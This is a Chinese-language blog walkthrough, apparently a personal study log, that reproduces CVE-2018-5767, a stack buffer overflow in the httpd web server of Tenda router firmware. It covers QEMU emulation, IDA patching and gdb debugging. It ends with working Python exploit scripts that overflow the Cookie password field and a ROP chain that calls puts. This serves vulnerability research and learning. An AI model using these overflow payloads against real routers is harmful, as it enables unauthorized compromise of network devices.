CVE-2018-5767 tenda固件栈溢出漏洞
路由器固件型号:
固件下载地址:
binwalk分离
binwalk -Me US-bin
漏洞点:
在squashfs-root/bin/httpd
可以通过
readelf -h httpd
环境配置
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
运行指令
sudo qemu-arm-static ../bin/httpd
运行的时候在lib文件夹里运行,否则会缺库,但我还是报错了www
解决方法
用ida打开,搜索WeLoveLinux
师傅们说的是这里构成了死循环要把CMP R3,#0给patch掉,就可以了
假如patch的时候遇见
可以不用管,也不要叉就行(我是这样做的)
然后保存即可
运行发现还是出错
再用ida看一下,发现第二个判断发现也赋值了0;
patch成1即可
网关配置
运行时
ip并不是本机ip,这是因为我们没有设置虚拟网关br0
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.65.1/24
漏洞分析
根据CVE公布的poc可知,漏洞点在R7WebsSecurityHandler函数
IDA
这里未对用户的输入是否合理进行检测,导致存在栈溢出。
我们要利用这个栈溢出需要满足
访问的路径不在上述存在,构造一个虚构地址即可,例/goform/blonet
尝试输入垃圾数据,测试漏洞。
sudo qemu-arm-static -g 1234 ../bin/httpd
gdb-multiarch ./httpd
target remote :1234
b *0x002ED18 #断点下在漏洞函数结束处即可
continue
python3 exp.py
import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)
发现程序没有运行到断点处,bt查看一下,发现0x0002c5cc处的函数被溢出执行了。
应该是被这影响了。
那就修改一下exp,再试试
import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}
requests.get(url=URL, cookies=cookie)
可以发现成功溢出了。
因为qemu的不会开启未开启基址随机化的特性,可以通过vmmap查看libc基地址。
这里不知道为什么我这没有libc,不懂。www
通过ropgadget查找gadget
0x00040cb8 mov r0, sp; blx r3;
0x00018298 pop {r3, pc};
利用exp
import requests
from pwn import *
base = 0xf65e5000
libc = ELF('./lib/libc.so.0')
puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)
别用python3(会把心态搞崩的)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通